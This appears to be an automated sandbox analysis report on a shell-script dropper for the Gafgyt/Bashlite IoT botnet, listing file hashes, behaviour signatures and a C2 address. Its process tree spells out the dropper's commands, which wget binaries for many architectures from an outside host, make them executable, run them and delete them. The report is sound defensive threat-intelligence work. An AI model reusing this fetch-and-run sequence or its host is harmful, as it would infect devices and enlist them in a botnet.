Overview

overview

10

Static

static

1

e48f9260d9...40f.sh

ubuntu-18.04-amd64

10

e48f9260d9...40f.sh

debian-9-armhf

10

e48f9260d9...40f.sh

debian-9-mips

10

e48f9260d9...40f.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    2s
  • max time network
    22s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    01-01-2025 03:17

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    e48f9260d989390622107e29eaaf97ea897973ab69909d25dbf2626d057eb40f.sh

  • Size

    2KB

  • MD5

    87a7140288b8fc77f9917199d1c969bb

  • SHA1

    0931d942a8cc6f317b24082900bd24ec697a697e

  • SHA256

    e48f9260d989390622107e29eaaf97ea897973ab69909d25dbf2626d057eb40f

  • SHA512

    2cdebd869d0cd7f590f050fe987af0ff80592646cdaaff83b7b78f07c8328401c87bd4b8d072dd87ef26de619a2ec7e06ad7e61204371e93e21a1835f23097f7

Score
10/10
gafgytbotnetdefense_evasiondiscovery

Malware Config

Extracted

Family

gafgyt

C2

195.179.230.64:606

Signatures

  • Detected Gafgyt variant 1 IoCs
  • Gafgyt family
    gafgyt
  • Gafgyt/Bashlite

    IoT botnet with numerous variants first seen in 2014.

    botnetgafgyt
  • File and Directory Permissions Modification 1 TTPs 13 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Reads system routing table 1 TTPs 1 IoCs

    Gets active network interfaces from /proc virtual filesystem.

    discovery
  • Reads system network configuration 1 TTPs 1 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

    discovery
  • System Network Configuration Discovery 1 TTPs 6 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 13 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/e48f9260d989390622107e29eaaf97ea897973ab69909d25dbf2626d057eb40f.sh
    /tmp/e48f9260d989390622107e29eaaf97ea897973ab69909d25dbf2626d057eb40f.sh
    1⤵
      PID:718
      • /usr/bin/wget
        wget http://195.179.230.64/chernobyl.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:723
      • /bin/chmod
        chmod +x chernobyl.mips
        2⤵
        • File and Directory Permissions Modification
        PID:739
      • /tmp/chernobyl.mips
        ./chernobyl.mips
        2⤵
        • Executes dropped EXE
        • Reads system routing table
        • Reads system network configuration
        • System Network Configuration Discovery
        PID:740
      • /bin/rm
        rm -rf chernobyl.mips
        2⤵
        • System Network Configuration Discovery
        PID:743
      • /usr/bin/wget
        wget http://195.179.230.64/chernobyl.mipsel
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:744
      • /bin/chmod
        chmod +x chernobyl.mipsel
        2⤵
        • File and Directory Permissions Modification
        PID:752
      • /tmp/chernobyl.mipsel
        ./chernobyl.mipsel
        2⤵
        • System Network Configuration Discovery
        PID:754
      • /bin/rm
        rm -rf chernobyl.mipsel
        2⤵
        • System Network Configuration Discovery
        PID:756
      • /usr/bin/wget
        wget http://195.179.230.64/chernobyl.sh4
        2⤵
        • Writes file to tmp directory
        PID:757
      • /bin/chmod
        chmod +x chernobyl.sh4
        2⤵
        • File and Directory Permissions Modification
        PID:758
      • /tmp/chernobyl.sh4
        ./chernobyl.sh4
        2⤵
          PID:759
        • /bin/rm
          rm -rf chernobyl.sh4
          2⤵
            PID:761
          • /usr/bin/wget
            wget http://195.179.230.64/chernobyl.x86
            2⤵
            • Writes file to tmp directory
            PID:762
          • /bin/chmod
            chmod +x chernobyl.x86
            2⤵
            • File and Directory Permissions Modification
            PID:763
          • /tmp/chernobyl.x86
            ./chernobyl.x86
            2⤵
              PID:764
            • /bin/rm
              rm -rf chernobyl.x86
              2⤵
                PID:766
              • /usr/bin/wget
                wget http://195.179.230.64/chernobyl.m68k
                2⤵
                • Writes file to tmp directory
                PID:767
              • /bin/chmod
                chmod +x chernobyl.m68k
                2⤵
                • File and Directory Permissions Modification
                PID:768
              • /tmp/chernobyl.m68k
                ./chernobyl.m68k
                2⤵
                  PID:769
                • /bin/rm
                  rm -rf chernobyl.m68k
                  2⤵
                    PID:771
                  • /usr/bin/wget
                    wget http://195.179.230.64/chernobyl.i686
                    2⤵
                    • Writes file to tmp directory
                    PID:772
                  • /bin/chmod
                    chmod +x chernobyl.i686
                    2⤵
                    • File and Directory Permissions Modification
                    PID:773
                  • /tmp/chernobyl.i686
                    ./chernobyl.i686
                    2⤵
                      PID:774
                    • /bin/rm
                      rm -rf chernobyl.i686
                      2⤵
                        PID:776
                      • /usr/bin/wget
                        wget http://195.179.230.64/chernobyl.ppc
                        2⤵
                        • Writes file to tmp directory
                        PID:777
                      • /bin/chmod
                        chmod +x chernobyl.ppc
                        2⤵
                        • File and Directory Permissions Modification
                        PID:783
                      • /tmp/chernobyl.ppc
                        ./chernobyl.ppc
                        2⤵
                          PID:785
                        • /bin/rm
                          rm -rf chernobyl.ppc
                          2⤵
                            PID:787
                          • /usr/bin/wget
                            wget http://195.179.230.64/chernobyl.i586
                            2⤵
                            • Writes file to tmp directory
                            PID:789
                          • /bin/chmod
                            chmod +x chernobyl.i586
                            2⤵
                            • File and Directory Permissions Modification
                            PID:798
                          • /tmp/chernobyl.i586
                            ./chernobyl.i586
                            2⤵
                              PID:799
                            • /bin/rm
                              rm -rf chernobyl.i586
                              2⤵
                                PID:802
                              • /usr/bin/wget
                                wget http://195.179.230.64/chernobyl.sparc
                                2⤵
                                • Writes file to tmp directory
                                PID:803
                              • /bin/chmod
                                chmod +x chernobyl.sparc
                                2⤵
                                • File and Directory Permissions Modification
                                PID:811
                              • /tmp/chernobyl.sparc
                                ./chernobyl.sparc
                                2⤵
                                  PID:812
                                • /bin/rm
                                  rm -rf chernobyl.sparc
                                  2⤵
                                    PID:815
                                  • /usr/bin/wget
                                    wget http://195.179.230.64/chernobyl.arm4
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:816
                                  • /bin/chmod
                                    chmod +x chernobyl.arm4
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:826
                                  • /tmp/chernobyl.arm4
                                    ./chernobyl.arm4
                                    2⤵
                                      PID:827
                                    • /bin/rm
                                      rm -rf chernobyl.arm4
                                      2⤵
                                        PID:831
                                      • /usr/bin/wget
                                        wget http://195.179.230.64/chernobyl.arm5
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:833
                                      • /bin/chmod
                                        chmod +x chernobyl.arm5
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:842
                                      • /tmp/chernobyl.arm5
                                        ./chernobyl.arm5
                                        2⤵
                                          PID:843
                                        • /bin/rm
                                          rm -rf chernobyl.arm5
                                          2⤵
                                            PID:846
                                          • /usr/bin/wget
                                            wget http://195.179.230.64/chernobyl.arm6
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:847
                                          • /bin/chmod
                                            chmod +x chernobyl.arm6
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:848
                                          • /tmp/chernobyl.arm6
                                            ./chernobyl.arm6
                                            2⤵
                                              PID:849
                                            • /bin/rm
                                              rm -rf chernobyl.arm6
                                              2⤵
                                                PID:851
                                              • /usr/bin/wget
                                                wget http://195.179.230.64/chernobyl.arm7
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:852
                                              • /bin/chmod
                                                chmod +x chernobyl.arm7
                                                2⤵
                                                • File and Directory Permissions Modification
                                                PID:853
                                              • /tmp/chernobyl.arm7
                                                ./chernobyl.arm7
                                                2⤵
                                                  PID:854
                                                • /bin/rm
                                                  rm -rf chernobyl.arm7
                                                  2⤵
                                                    PID:856

                                                Network

                                                MITRE ATT&CK Enterprise v15

                                                Replay Monitor

                                                Loading Replay Monitor...

                                                Downloads

                                                • /tmp/chernobyl.mips
                                                  Filesize

                                                  149KB

                                                  MD5

                                                  76cd360f074eaa5d8287bb0762aab991

                                                  SHA1

                                                  72da777df5b6d7794efa05d87e5528d0c45e1403

                                                  SHA256

                                                  e6177852038d2130936a6c52ae274f813d5338f94b4f27faa6e19f7db19cbd46

                                                  SHA512

                                                  897e406c0982fa347e945653a5af9db7876004ff0e54a9a2bb5cde10bb0df3b52172a54481726d974621291deaae0c29df90e2333eb81c6fe30f15e190cdfd38

                                                  Download Submit